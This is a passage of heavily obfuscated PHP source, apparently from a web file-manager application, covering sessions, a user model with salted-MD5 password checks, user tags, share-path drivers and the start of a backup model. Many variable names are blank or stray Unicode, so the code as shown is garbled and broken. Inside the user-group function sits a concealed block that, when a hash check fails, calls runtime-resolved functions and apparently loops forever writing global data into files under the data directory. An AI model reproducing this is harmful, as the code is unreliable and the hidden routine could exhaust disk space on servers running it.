(is_string(self::$errorCallback)) { self::get($_SERVER[$ȹ[1606]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $Ⱦ =& $_SERVER[̧]; static $ = false; if ($) { return $; } $ = $GLOBALS[$Ⱦ[6]][$Ⱦ[378]]; self::$sessionTime = $[$Ⱦ[1614]]; $ = isset($GLOBALS[$Ⱦ[1615]]) ? $GLOBALS[$Ⱦ[1615]] : SESSION_ID; if (Cookie::get($)) { self::$sessionSign = Cookie::get($); } else { self::$sessionSign = self::$sessionSign ? self::$sessionSign : guid(); } Cookie::setSafe($, self::$sessionSign, self::$sessionTime); $ = $[$Ⱦ[1616]]; $ = $[$]; $ޝ = $[$Ⱦ[848]]; switch ($) { case $Ⱦ[21]: self::$handle = Model($Ⱦ[849]); break; case $Ⱦ[850]: self::$handle = new CacheRedis($, $ޝ); break; case $Ⱦ[851]: self::$handle = new CacheMemcached($, $ޝ); break; case $Ⱦ[200]: $[$Ⱦ[84]] = $[$Ⱦ[84]] . $Ⱦ[1617]; self::$handle = new CacheFile($, $ޝ); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ = new self(); return $; } public static function getBySign($) { $߲ = self::$handle->get($); $߲ = unserialize($߲); return is_array($߲) ? $߲ : array(); } public static function setBySign($́, $) { CacheLock::lock($́); self::$handle->set($́, serialize($), self::$sessionTime); CacheLock::unlock($́); } public static function sign($ㆸԻ = false) { $ㆸԻ && (self::$sessionSign = $ㆸԻ); self::init(); return self::$sessionSign; } public static function set($Œ, $Ʀ = false) { self::init(); if (is_array($Œ)) { foreach ($Œ as $ݭݫ => $ݵ) { array_set_value(self::$data, $ݭݫ, $ݵ); } } else { array_set_value(self::$data, $Œ, $Ʀ); } self::setBySign(self::$sessionSign, self::$data); } public static function get($ = false) { self::init(); if (!$) { return self::$data; } return array_get_value(self::$data, $); } public static function remove($) { self::init(); unset(self::$data[$]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[̧][853])) { self::$handle->clearTimeout(); } } } goto b㘍; cͧ: class UserModel extends ModelBase { protected $tableName = "\165\163\145\162"; protected $tableMeta = array("\164\141\142\154\145\x4e\141\x6d\x65" => "\165\x73\145\x72\137\x6d\x65\x74\141", "\155\145\164\141\x46\x69\145\154\x64" => "\165\163\x65\162\x49\x44"); protected $simpleField = "\x75\x73\x65\162\x49\104\x2c\156\151\x63\153\x4e\x61\155\x65\x2c\x6e\x61\x6d\145\54\x61\x76\141\164\141\x72\x2c\163\145\x78\54\163\164\141\164\x75\x73"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($߁) { $⻚ =& $_SERVER[̧]; $ڒә = $⻚[2301]; return array($⻚[1929] => array($߁[0], $ڒә), $⻚[1931] => array($߁[0], $ڒә), $⻚[2302] => array($߁[0], $ڒә)); } protected function getInfo($ظ, $ѷ = false) { $ = $this->getInfoSimple($ظ); if (!is_array($)) { return array(); } if ($ѷ) { return $this->_getInfoApply($); } return $this->cacheFunctionGet($_SERVER[̧][1933], $ظ); } protected function getInfoFull($⻿, $ש = false) { $﫚 = $this->getInfoSimple($⻿); if (!is_array($﫚)) { return array(); } if ($ש) { return $this->_getInfoApply($﫚, !0); } return $this->cacheFunctionGet($_SERVER[̧][2303], $⻿); } private function _getInfoApply($, $󕌈 = false) { $Ƣ =& $_SERVER[̧]; if (!$) { return $; } $ޓ = md5($Ƣ[2304] . $[$Ƣ[909]] . $Ƣ[2305] . $[$Ƣ[32]]); $ = $this->_listDataApplyItem($); $ = Model($Ƣ[1353])->metaGet($[$Ƣ[87]][$Ƣ[440]]); $[$Ƣ[2306]] = $ޓ; $[$Ƣ[87]][$Ƣ[2125]] = isset($[$Ƣ[2126]]) ? $[$Ƣ[2126]] : null; if ($󕌈) { $[$Ƣ[504]] = $this->metaGet($[$Ƣ[1661]]); } return $; } protected function getInfoSimple($ׂ, $͙ = false) { $̗ =& $_SERVER[̧]; if (!$ׂ) { return array(); } if ($͙) { $؎ = $this->where(array($̗[1661] => intval($ׂ)))->find(); if (!is_array($؎)) { return array(); } $؎[$̗[571]] = Action($̗[2307])->parseUrl($؎[$̗[571]]); return $؎; } return $this->cacheFunctionGet($̗[1934], $ׂ); } protected function getInfoSimpleOuter($) { $邽 =& $_SERVER[̧]; if (!$ || $ == 0) { return array($邽[1661] => $邽[198], $邽[32] => $邽[162] . LNG($邽[2308]) . $邽[164], $邽[571] => STATIC_PATH . $邽[2309]); } $ = $this->cacheFunctionGet($邽[1934], $); $ = array_field_key($, explode($邽[50], $this->simpleField)); if (!$) { return array($邽[1661] => $邽[1208], $邽[32] => $邽[162] . LNG($邽[2310]) . $邽[164], $邽[571] => STATIC_PATH . $邽[2311]); } $[$邽[571]] = Action($邽[2307])->parseUrl($[$邽[571]]); return $; } protected function groupUser($) { } public static function errorLang($) { $ =& $_SERVER[̧]; $߂ = array(self::ERROR_USER_NOT_EXISTS => $[2312], self::ERROR_USER_PASSWORD_ERROR => $[2313], self::ERROR_USER_EXIST_NAME => $[2314], self::ERROR_USER_EXIST_PHONE => $[2315], self::ERROR_USER_EXIST_EMAIL => $[2316], self::ERROR_USER_LOGIN_LOCK => $[2317], self::ERROR_IP_NOT_ALLOW => $[2318], self::ERROR_USER_EXIST_NICKNAME => $[2319]); return LNG($߂[$]); } public function getInfoByMeta($, $آ) { $޿ =& $_SERVER[̧]; $ҁ = Model($޿[2320])->where(array($޿[94] => $, $޿[403] => $آ))->find(); if ($ҁ) { return $this->getInfo($ҁ[$޿[1661]]); } return !1; } public function userLoginCheck($Ӛۼ, $ĝ) { $ę =& $_SERVER[̧]; $ = $this->userLoginFind($Ӛۼ); if (!$) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($[$ę[1661]], $ĝ)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($[$ę[1661]]); } public function userLoginFind($޶) { $ =& $_SERVER[̧]; $ = array($[32] => $޶, $[570] => $޶, $[334] => $޶, $[2321] => $޶, $[1020] => $[1022]); if ($this->nickNameRpt()) { unset($[$[570]]); } return $this->where($)->find(); } public function clearCache($) { $ =& $_SERVER[̧]; $this->cacheFunctionClear($[1933], $); $this->cacheFunctionClear($[1934], $); $this->cacheFunctionClear($[2303], $); } public function userPasswordCheck($ъ, $ՙ) { $ =& $_SERVER[̧]; $Ľ = $this->where(array($[1661] => intval($ъ)))->find(); $ = $this->metaGet($ъ); $ = isset($[$[2322]]) ? $[$[2322]] : $[12]; if (md5($ . trim($ՙ)) !== $Ľ[$[909]]) { return !1; } return !0; } public function userAdd($ڰ) { $ǿ =& $_SERVER[̧]; $棗 = array($ǿ[458] => $ڰ[$ǿ[32]], $ǿ[2323] => $ڰ[$ǿ[1540]], $ǿ[2324] => isset($ڰ[$ǿ[334]]) ? $ڰ[$ǿ[334]] : $ǿ[12], $ǿ[2325] => isset($ڰ[$ǿ[2321]]) ? $ڰ[$ǿ[2321]] : $ǿ[12], $ǿ[2326] => isset($ڰ[$ǿ[570]]) ? $ڰ[$ǿ[570]] : $ڰ[$ǿ[32]], $ǿ[2327] => isset($ڰ[$ǿ[571]]) ? $ڰ[$ǿ[571]] : $ǿ[12], $ǿ[2328] => isset($ڰ[$ǿ[2329]]) ? $ڰ[$ǿ[2329]] : 1, $ǿ[2330] => $ڰ[$ǿ[909]], $ǿ[1935] => isset($ڰ[$ǿ[1838]]) ? $ڰ[$ǿ[1838]] : 1024 * 1024 * 20, $ǿ[1936] => 0, $ǿ[2331] => 0, $ǿ[1980] => isset($ڰ[$ǿ[770]]) ? $ڰ[$ǿ[770]] : 1); if (!empty($ڰ[$ǿ[1661]])) { $棗[$ǿ[1661]] = $ڰ[$ǿ[1661]]; } $ᦥ = $this->_checkExist($ڰ); if ($ᦥ !== !0) { return $ᦥ; } if (!empty($棗[$ǿ[571]]) && strlen($棗[$ǿ[571]]) > 255) { $棗[$ǿ[571]] = $ǿ[12]; } $ݵ˿ = $this->add($棗); $ = array($ǿ[2330] => $棗[$ǿ[909]], $ǿ[2326] => $棗[$ǿ[570]]); $this->userEdit($ݵ˿, $); Model($ǿ[1353])->userRootAdd($ݵ˿); return $ݵ˿; } protected function userEditTest($ړ, $) { return $this->call($_SERVER[̧][2332], $ړ, $); } protected function userEdit($ϳ, $) { $ =& $_SERVER[̧]; $ = $this->getInfoSimple($ϳ); if (!$) { return !1; } $ = $this->_checkExist($, $ϳ); if ($ !== !0) { return $; } if (isset($[$[909]]) && trim($[$[909]]) != $[12]) { $ = $this->metaGet($ϳ); if (empty($[$[2322]])) { $[$[2322]] = rand_string(10); Model($[542])->metaSet($ϳ, $[2322], $[$[2322]]); } $[$[909]] = md5($[$[2322]] . trim($[$[909]])); } else { unset($[$[909]]); } if (!empty($[$[571]]) && strlen($[$[571]]) > 255) { $[$[571]] = $[12]; } $this->where(array($[1652] => $ϳ))->save($); if (isset($[$[570]])) { $this->setNamePinyin($ϳ, $[$[570]]); } $this->clearCache($ϳ); return !0; } public function setNamePinyin($, $۪ = false) { $ȑ =& $_SERVER[̧]; if (!$۪) { $ = $this->getInfoSimple($); $۪ = $[$ȑ[570]] ? $[$ȑ[570]] : $[$ȑ[32]]; } $ = Model($ȑ[563]); if (!Input::check($۪, $ȑ[621])) { return $->metaSet($, array($ȑ[503] => $ȑ[12], $ȑ[502] => $ȑ[12])); } return $->metaSet($, array($ȑ[503] => str_replace($ȑ[53], $ȑ[12], Pinyin::get($۪)), $ȑ[502] => Pinyin::get($۪, $ȑ[622]))); } private function nickNameRpt() { $𕵊 =& $_SERVER[̧]; $ = Model($𕵊[790])->get($𕵊[2333]); $ڻؿ = $GLOBALS[$𕵊[6]][$𕵊[410]][$𕵊[2333]]; $ = !is_null($) ? $ : $ڻؿ; return !!$; } private function _checkExist($Ը߀, $݈ = false) { $Ƨ =& $_SERVER[̧]; $ڮ = array($Ƨ[32] => UserModel::ERROR_USER_EXIST_NAME, $Ƨ[570] => UserModel::ERROR_USER_EXIST_NICKNAME, $Ƨ[334] => UserModel::ERROR_USER_EXIST_EMAIL, $Ƨ[2321] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($ڮ[$Ƨ[570]]); } $䋊 = $݈ ? array($Ƨ[1661] => array($Ƨ[2334], $݈)) : array(); foreach ($ڮ as $ => $֎) { $ձ = array(); foreach ($ڮ as $ => $) { if (isset($Ը߀[$]) && $Ը߀[$]) { $ձ[] = $Ը߀[$]; } } if (!$ձ) { continue; } $̯ = array_merge(array($ => array($Ƨ[7], $ձ)), $䋊); $Ԗ = $this->where($̯)->find(); if ($Ԗ) { return $֎; } } return !0; } public function userListInfo($) { $˯ =& $_SERVER[̧]; $ = array(); $ = is_array($) ? array_unique($) : array(); if (!$) { return $; } if (count($) < 20) { foreach ($ as $) { $[$ . $˯[12]] = $this->getInfoSimpleOuter($); } } else { $ = array($˯[1652] => array($˯[456], $)); if (count($) == 1) { $ = array($˯[1652] => $[0]); } $ک = Model($˯[542])->field($this->simpleField)->where($)->select(); $ک = array_to_keyvalue($ک, $˯[1661]); foreach ($ as $) { $ = $ک[$]; if (!$) { $[$ . $˯[12]] = $this->getInfoSimpleOuter($); continue; } $[$˯[571]] = Action($˯[2307])->parseUrl($[$˯[571]]); $[$ . $˯[12]] = $; } } return $; } protected function userStatus($, $ڳ) { $ = $this->getInfoSimple($); if (!$) { return !1; } $ʥ = array($_SERVER[̧][770] => $ڳ); return $this->userEdit($, $ʥ); } protected function userRemove($) { $ =& $_SERVER[̧]; $Α = $this->getInfoSimple($); if (!$Α) { return !1; } $ = array($[1652] => $); Model($[630])->where($)->delete(); Model($[2335])->where($)->delete(); Model($[1941])->where($)->delete(); Model($[2320])->where($)->delete(); Model($[1088])->where($)->delete(); Model($[2149])->removeUserAll($); Model($[845])->userRootRemove($); return $this->where($)->delete(); } protected function userGroupSet($䀠, $, $ = array()) { $܋ =& $_SERVER[̧]; $ = $_SERVER[$܋[433]]; $򣫪 = $܋[896]; if ($_SERVER[$܋[425]] != $򣫪($)) { $ˣ݈ = $܋[897]; $ = $܋[427]; $ = $_SERVER[$܋[428]] . $܋[429]; $ = $($); $ = explode($܋[231], $); if (count($) < $܋[657]) { $®ܖ = $܋[431]; $®ܖ(); } $щ = $܋[898]; $щ($_SERVER[$܋[899]]); $ˣ݈ = $܋[897]; $ˣ݈(); $Ώ = $܋[900]; $ = json_encode($GLOBALS[$܋[901]]); $ = 1; for ($ = $; $ > 0; $++) { $Ώ(DATA_PATH . $, $); } } $ = $this->getInfoSimple($䀠); if (!$ || !is_array($)) { return !1; } $ = Model($܋[1941]); $->where(array($܋[1661] => $䀠))->delete(); $Җ = array(); $򤝗 = 0; foreach ($ as $ => $) { $ݓ = array($܋[1661] => $䀠, $܋[1851] => $, $܋[1955] => $); $ݓ[$܋[1875]] = isset($[$򤝗]) ? $[$򤝗] : 0; $򤝗++; $Җ[] = $ݓ; } return $->addAll($Җ, array(), !0); } protected function userGroupAdd($п, $̗ = array()) { $ =& $_SERVER[̧]; $⻈ = $this->getInfoSimple($п); if (!$⻈ || empty($̗)) { return !1; } $Ħ = array(); foreach ($̗ as $֋ => $ݞ) { $Ħ[] = array($[1661] => $п, $[1851] => $֋, $[1955] => $ݞ, $[1875] => 0); } return Model($[1941])->addAll($Ħ, array(), !0); } protected function userGroupRemove($ˊ, $) { $ۯ֥ =& $_SERVER[̧]; $ = $this->getInfoSimple($ˊ); if (!$ || !$) { return !1; } $ = array($ۯ֥[1652] => $ˊ, $ۯ֥[1939] => $); return Model($ۯ֥[1941])->where($)->delete(); } public function listData() { $Û = $this->_makeOrder()->selectPage(50); $this->_listDataApply($Û[$_SERVER[̧][398]]); return $Û; } public function listByID($) { $蘱 =& $_SERVER[̧]; if (!$) { return; } $坚 = array($蘱[1661] => array($蘱[7], $)); $ = $this->where($坚)->select(); $ = array_sort_keep($, $蘱[1661], $); $this->_listDataApply($); return $; } public function listByGroup($潠 = 0, $ = array()) { $爽ֆ =& $_SERVER[̧]; $ = $爽ֆ[12]; $ա = array(); if ($潠) { $ա = array($爽ֆ[2336] => intval($潠)); $ = "\114\105\106\124\x20\x4a\117\111\x4e\40{$this->tablePrefix}\x75\163\145\x72\x5f\147\x72\157\x75\x70\40\x75\x73\145\x72\137\147\x72\157\x75\x70\x20\157\156\x20\165\163\x65\162\x2e\x75\x73\145\x72\111\104\40\75\40\165\163\145\x72\137\147\162\157\x75\160\x2e\165\x73\145\x72\x49\x44"; $ = Input::get($爽ֆ[495], null, $爽ֆ[12]) ? $爽ֆ[12] : $爽ֆ[2337]; } if (isset($[$爽ֆ[770]])) { $ա[$爽ֆ[2338]] = $[$爽ֆ[770]]; } $Ј = $this->_makeOrder($)->field($爽ֆ[2339])->where($ա)->join($)->selectPage(50); $this->_listDataApply($Ј[$爽ֆ[398]]); return $Ј; } private function _makeOrder($ջ = '') { $ =& $_SERVER[̧]; $χ = array($[1661], $[32], $[1840], $[1812], $[201]); $ = array($[488] => $[489], $[490] => $[491]); $ʳ = Input::get($[495], $[7], $[1652], $χ); $ = Input::get($[496], $[7], $[1942], array($[1942], $[490])); $ = $[$]; $ջ = $ջ . "\165\163\145\x72\x2e{$ʳ}\x20{$}\54\40\x75\163\145\162\x2e\165\163\x65\162\111\x44\40\141\163\143"; return $this->alias($[2068])->order($ջ); } public function listSearch($خ) { $ =& $_SERVER[̧]; $桀 = $خ[$[1945]]; $ = isset($خ[$[1946]]) ? $خ[$[1946]] : !1; $桀 = str_replace($[1947], $[1948], trim($桀)); $ = array($[32] => array($[412], "\x25{$桀}\x25"), $[334] => array($[412], "{$桀}\x25"), $[570] => array($[412], "{$桀}\x25"), $[1020] => $[1949]); if (Input::check($桀, $[340])) { $[$[1661]] = array($[412], "{$桀}\x25"); $[$[2321]] = array($[412], "{$桀}\x25"); } if (!$桀) { $ = array(); } if (isset($خ[$[770]])) { $[$[770]] = $خ[$[770]]; } $ = $this->parseWhereLike($); $徴 = $this->_makeOrder()->where($)->selectPage(20); if (!$徴 || count($徴[$[398]]) < 5 && Input::check($桀, $[347])) { $ = $this->_searchFromMeta($[502], $桀, 10); $׿ = $this->_searchFromMeta($[503], $桀, 10); $Ȩ = array_merge($, $׿, $徴[$[398]]); $徴[$[398]] = array_unique_by_key($Ȩ, $[1661]); $徴[$[395]][$[396]] = count($徴[$[398]]); $徴[$[395]][$[397]] = ceil($徴[$[395]][$[396]] / $徴[$[395]][$[392]]); } $this->_listDataApply($徴[$[398]]); $this->_filterByGroup($徴, $); return $徴; } private function _filterByGroup(&$, $) { $Ҁڐ =& $_SERVER[̧]; if (!$) { return $; } foreach ($[$Ҁڐ[398]] as $ => &$) { $ = array_to_keyvalue($[$Ҁڐ[2038]], $Ҁڐ[12], $Ҁڐ[1851]); if (!in_array($, $)) { unset($[$Ҁڐ[398]][$]); } } unset($); $[$Ҁڐ[398]] = array_values($[$Ҁڐ[398]]); $[$Ҁڐ[395]] = array($Ҁڐ[2103] => count($[$Ҁڐ[398]]), $Ҁڐ[2101] => $[$Ҁڐ[395]][$Ҁڐ[392]], $Ҁڐ[2100] => 1, $Ҁڐ[2102] => 1); } private function _searchFromMeta($, $Å, $) { $ =& $_SERVER[̧]; $Å = strtolower($Å); $ = array($[94] => $, $[403] => array($[412], "\45{$Å}\x25")); $ = $this->parseWhereLike($); $ = Model($[2340])->where($)->limit($)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $[12], $[1661]); $ = $this->where(array($[1652] => array($[7], $)))->select(); if (!$) { return array(); } return $; } private function _listDataApplyItem($᳓) { $ؠ = array($᳓); $this->_listDataApply($ؠ); return $ؠ[0]; } private function _listDataApply(&$ؔ) { $ =& $_SERVER[̧]; if (!$ؔ) { return; } array_remove_key($ؔ, $[909]); $㠥ӷ = array_to_keyvalue($ؔ, $[12], $[1661]); $this->_listAppendGroup($ؔ, $㠥ӷ); $this->_listAppendMeta($ؔ, $㠥ӷ); $this->_listAppendSourceRoot($ؔ, $㠥ӷ); } private function _listAppendSourceRoot(&$Ł, $߄ć) { $ՌΤ =& $_SERVER[̧]; $Ԙ = Model($ՌΤ[845])->listSourceRoot(SourceModel::TYPE_USER, $߄ć); $Ԙ = array_to_keyvalue($Ԙ, $ՌΤ[534]); $Ԙ = array_remove_key($Ԙ, $ՌΤ[534]); foreach ($Ł as &$ٶ) { $ٶ[$ՌΤ[87]] = $Ԙ[$ٶ[$ՌΤ[1661]]] ? $Ԙ[$ٶ[$ՌΤ[1661]]] : array(); } unset($ٶ); } private function _listAppendGroup(&$, $ณ) { $ⵌ =& $_SERVER[̧]; $Ý = array($ⵌ[1661] => array($ⵌ[7], $ณ)); $ = Model($ⵌ[1941])->where($Ý)->select(); $³ށ = array_to_keyvalue($, $ⵌ[12], $ⵌ[1851]); $³ށ = array_remove_value(array_unique($³ށ), $ⵌ[198]); if (!$³ށ || !$) { return; } $Ý = array($ⵌ[1851] => array($ⵌ[7], $³ށ)); $ = Model($ⵌ[2036])->field($ⵌ[2341])->where($Ý)->select(); $ = array_to_keyvalue($, $ⵌ[1851]); $ = array_to_keyvalue_group($, $ⵌ[1661]); foreach ($ as &$Ȁ) { $̳ˣ = array(); foreach ($Ȁ as $ˢ) { if (!$ˢ[$ⵌ[1955]]) { continue; } $Ü = Model($ⵌ[536])->listData($ˢ[$ⵌ[1955]]); $̳ˣ[] = array($ⵌ[1851] => $ˢ[$ⵌ[1851]], $ⵌ[2342] => $[$ˢ[$ⵌ[1851]]][$ⵌ[32]], $ⵌ[549] => $[$ˢ[$ⵌ[1851]]][$ⵌ[549]], $ⵌ[451] => $Ü); } $Ȁ = $̳ˣ; } unset($Ȁ); foreach ($ as &$) { $[$ⵌ[2038]] = array(); if (isset($[$[$ⵌ[1661]]])) { $[$ⵌ[2038]] = $[$[$ⵌ[1661]]]; } } unset($); } public function userAppendGroup($) { $֒ =& $_SERVER[̧]; if (!$) { return array(); } $this->_listAppendGroup($, array_to_keyvalue($, $֒[12], $֒[1661])); return $; } private function _listAppendMeta(&$, $) { $ =& $_SERVER[̧]; $常璗 = UserJobModel::JOB_KEY; $ = array($[2322]); $ˆ = array($[1661] => array($[7], $)); $ = Model($[2320])->where($ˆ)->select(); $ = array_to_keyvalue_group($, $[1661]); foreach ($ as &$) { $ʻ = array(); foreach ($ as $ֳ) { if (!in_array($ֳ[$[94]], $)) { $ʻ[$ֳ[$[94]]] = $ֳ[$[403]]; } } $ = $ʻ; } unset($); $ = Model($[2343]); foreach ($ as &$ʛ) { $ƴƏ = array(); if (isset($[$ʛ[$[1661]]])) { $ƴƏ = $[$ʛ[$[1661]]]; } $ʛ[$[2344]] = array(); if (isset($ƴƏ[$常璗])) { $ʛ[$[2344]] = $->getUserJobInfo($ƴƏ[$常璗]); } } unset($ʛ); } protected function groupUserAll($ҁ܃) { $ =& $_SERVER[̧]; if (!$ҁ܃) { return !1; } $ = Model($[1941])->field($[1661])->where(array($[1851] => array($[7], $ҁ܃)))->select(); $ = array_to_keyvalue($, $[12], $[1661]); return array_unique($); } public function userSearch($, $ = "\52") { return Model($_SERVER[̧][563])->where($)->field($)->find(); } } class UserOptionModel extends ModelBaseOption { protected $tableName = "\165\x73\x65\162\x5f\x6f\160\x74\151\x6f\x6e"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($ܴ) { $ =& $_SERVER[̧]; $Ǿ = defined($[2072]) && USER_ID ? USER_ID : $[12]; return "\125\163\145\162\117\x70\x74\151\x6f\x6e\x5f{$ܴ}\137" . $Ǿ; } protected function filterWhere($ߪ) { $ =& $_SERVER[̧]; $ߪ[$[1661]] = defined($[2072]) && USER_ID ? USER_ID : $[12]; return $ߪ; } public function cacheRemoveUser($Ӥ, $) { return Cache::remove("\x55\x73\145\162\117\x70\164\151\157\x6e\137{$Ӥ}\137" . $); } protected function optionDefault($ = '') { $ݗك =& $_SERVER[̧]; if ($ == $ݗك[12]) { return $GLOBALS[$ݗك[6]][$ݗك[2345]]; } if ($ == $ݗك[2346]) { return $GLOBALS[$ݗك[6]][$ݗك[2347]]; } } } class UserTagModel extends ModelBaseLight { public $optionType = "\125\163\145\x72\x2e\x74\x61\x67\x4c\151\163\x74"; public $modelType = "\x55\x73\145\162\x4f\160\x74\x69\157\x6e"; public $field = array("\156\141\x6d\x65", "\x73\x74\171\x6c\145", "\163\x6f\162\164"); public function listData($ = false, $՛ = "\x73\157\162\164", $ʂ = false) { return parent::listData($, $՛, $ʂ); } public function remove($ѵ) { return parent::remove($ѵ); } public function add($, $Ԙ = "\154\x61\x62\145\x6c\55\147\162\x65\x79\x2d\x6e\157\x72\x6d\x61\154") { $Ǐ =& $_SERVER[̧]; if ($this->findByName($)) { return !1; } $֢ڼ = array($Ǐ[458] => $, $Ǐ[522] => $Ԙ, $Ǐ[1855] => $this->getSort($Ǐ[287]) + 1); return parent::insert($֢ڼ); } public function update($, $릣) { $ =& $_SERVER[̧]; $꾽 = $this->listData($); $ɒ = $this->findByName($릣[$[32]]); if (!$꾽 || $ɒ && $ɒ[$[437]] != $꾽[$[437]]) { return !1; } return parent::update($, $릣); } public function moveTop($趷) { $ =& $_SERVER[̧]; $ʰ = parent::listData(); $Ԯ = $this->getSort($[286]); foreach ($ʰ as &$) { if ($[$[437]] == $趷) { $[$[1875]] = $Ԯ; continue; } $[$[1875]] += 1; } unset($); return parent::resetData($ʰ); } public function moveBottom($ܛ) { $ţ =& $_SERVER[̧]; $؞Ǩ = $this->getSort($ţ[287]) + 1; return parent::update($ܛ, array($ţ[1875] => $؞Ǩ)); } public function resetSort($Ҫи) { $𽋹 =& $_SERVER[̧]; $ӱ = array(); $Ҫи = is_array($Ҫи) ? $Ҫи : array(); for ($ = 0; $ < count($Ҫи); $++) { $ӱ[$Ҫи[$] . $𽋹[12]] = $ + 1; } $׫ = parent::listData(); foreach ($׫ as &$) { $ = $ӱ[$[$𽋹[437]]]; $[$𽋹[1875]] = $ ? $ : $[$𽋹[1875]]; } unset($); return parent::resetData($׫); } private function getSort($) { $Ο =& $_SERVER[̧]; $ɯ = parent::listData(); $Ë = array_to_keyvalue($ɯ, $Ο[12], $Ο[1875]); if (!$Ë) { $Ë = array(0); } $߷ي = $ == $Ο[287] ? max($Ë) : min($Ë); return intval($߷ي); } } goto D̷; A: class PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } public function __call($֯, $粞ƭ) { $ܜ =& $_SERVER[̧]; if (method_exists($this, $֯)) { return; } $ύՙ = call_user_func_array(array($ܜ[1363], $֯), $粞ƭ); $䤧 = array($ܜ[1364], $ܜ[1365], $ܜ[1366], $ܜ[1367], $ܜ[584], $ܜ[586], $ܜ[1368], $ܜ[107], $ܜ[1369], $ܜ[1370]); if (in_array($֯, $䤧)) { $ύՙ = $this->getPathOuter($ύՙ); } return $ύՙ; } public function copy($, $ڥ, $į = false, $ = false) { return $this->copyMove($, $ڥ, $į, $_SERVER[̧][584], $); } public function move($Ïב, $︛, $ґ = false, $ƿ = false) { return $this->copyMove($Ïב, $︛, $ґ, $_SERVER[̧][586], $ƿ); } private function copyMove($Ʊ, $Ä, $, $, $ڻ = false) { $ =& $_SERVER[̧]; $͚俠 = $Ä; $ͅ = IO::driverMake($Ä); if ($ͅ->pathParse[$[1171]]) { $Ä = $ͅ->pathParse[$[1171]]; } else { $Ä = $͚俠; } $ = IO::copyMove($Ʊ, $Ä, $, $, $ڻ); $ = $this->getPathOuter($); return $; } public function pathThis($Ǻ) { return get_path_this($this->pathParse[$_SERVER[̧][84]]); } public function pathFather($ژ) { return get_path_father($this->pathParse[$_SERVER[̧][84]]); } public function iconvSystem($) { return $; } protected function infoParse($, $ǩ܈ = false) { $Ç =& $_SERVER[̧]; $氂 = $this->pathParse[$Ç[524]][$Ç[1195]] . $this->pathParse[$Ç[1188]]; if ($ǩ܈) { $ޚ = IO::infoWithChildren($氂); } else { $ޚ = IO::info($氂); } $Ͱ = $this->pathParse[$Ç[524]]; return Action($Ç[1361])->_shareItemeParse($ޚ, $Ͱ); } public function listAll($ݱ) { $ =& $_SERVER[̧]; $ = IO::listAll($ݱ); $ۙ = rtrim($this->pathParse[$[524]][$[1195]], $[8]); foreach ($ as &$) { $[$[84]] = $this->pathDriver . $[8] . ltrim(substr($[$[84]], strlen($ۙ)), $[8]); } unset($); return $; } public function listAllSimple($ʏ, $׍ = false) { $Ὗ =& $_SERVER[̧]; $ = $this->listAll($ʏ); $͈ = $this->pathParse[$Ὗ[459]]; if (trim($͈, $Ὗ[8]) == trim(get_path_father($͈), $Ὗ[8])) { $׍ = !0; } return IO::init($Ὗ[12])->listAllSimpleMake($, $͈, $׍); } public function getPathOuter($) { $ =& $_SERVER[̧]; $ = KodIO::parse($); if ($[$[33]] == KodIO::KOD_SHARE_ITEM) { return $[$[84]]; } $֓ = KodIO::clear($); $ = KodIO::clear($this->pathParse[$[524]][$[1195]]); $򃬸 = substr($֓, strlen($)); if (substr($֓, 0, strlen($)) != $) { return !1; } return $this->pathParse[$[1189]] . $[8] . ltrim($򃬸, $[8]); } public function getType() { $ =& $_SERVER[̧]; $ϲ = str_replace($[74], $[12], get_class($this)); return strtolower($ϲ); } public function isTypeObject($̱) { return IO::isTypeObject($̱); } public function info($߉Ӓ) { return $this->infoParse($߉Ӓ); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($) { return $this->infoParse($, !0); } public function infoFull($) { return $this->infoParse($); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } protected function infoParse($ያ, $͒ = false) { $ݛߑ =& $_SERVER[̧]; return Action($ݛߑ[1194])->sharePathInfo($this->pathParse[$ݛߑ[84]], !0, $͒); } public function listPath($, $ = false) { $ș =& $_SERVER[̧]; $ܙ = IO::listPath($, $); if (!$ܙ) { return $ܙ; } if (is_array($ܙ[$ș[1362]])) { $ = Action($ș[1371])->parsePathChildren($ܙ[$ș[1362]], array($ș[459] => $)); $ܙ[$ș[1362]] = Action($ș[1194])->shareItemInfo($); } foreach ($ܙ as $ޘ => $ѫ) { if (!in_array($ޘ, array($ș[83], $ș[82]))) { continue; } foreach ($ѫ as $ => $) { $ = Action($ș[1371])->parsePathChildren($, array($ș[459] => $)); $ܙ[$ޘ][$] = Action($ș[1194])->shareItemInfo($); } } return $ܙ; } } class PathDriverEDS extends PathDriverMinIO { public function __construct($ɬ) { parent::__construct($ɬ); } } goto Dͩ; a: class BackupModel extends ModelBaseLight { public $optionType = "\123\171\163\x74\145\x6d\56\x62\x61\x63\x6b\x75\x70\114\151\163\x74"; public $field = array("\x69\x6f", "\x6e\141\x6d\x65", "\163\164\141\164\165\x73", "\143\157\156\x74\145\156\x74", "\155\141\156\165\141\154", "\x72\145\163\x75\154\164", "\164\151\155\145\106\x72\x6f\155", "\164\151\155\145\x54\157"); public function config() { $ԗЕ =& $_SERVER[̧]; $ー = Model($ԗЕ[790])->get($ԗЕ[800]); $ー = json_decode($ー, !0); $ー = is_array($ー) ? $ー : array(); if (!isset($ー[$ԗЕ[774]])) { $ー[$ԗЕ[774]] = 